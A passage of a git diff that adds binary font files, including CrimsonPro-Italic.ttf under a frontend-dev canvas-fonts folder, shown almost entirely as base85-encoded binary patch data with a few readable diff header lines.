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 Zc1Qo9K3of}KG~1IYTN27aC#q+{~L=u2lW5| literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/CrimsonPro-Italic.ttf b/skills/frontend-dev/canvas-fonts/CrimsonPro-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..786a1bd66d38006d94a7cb96db1f93a2f439b08e GIT binary patch literal 108828 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 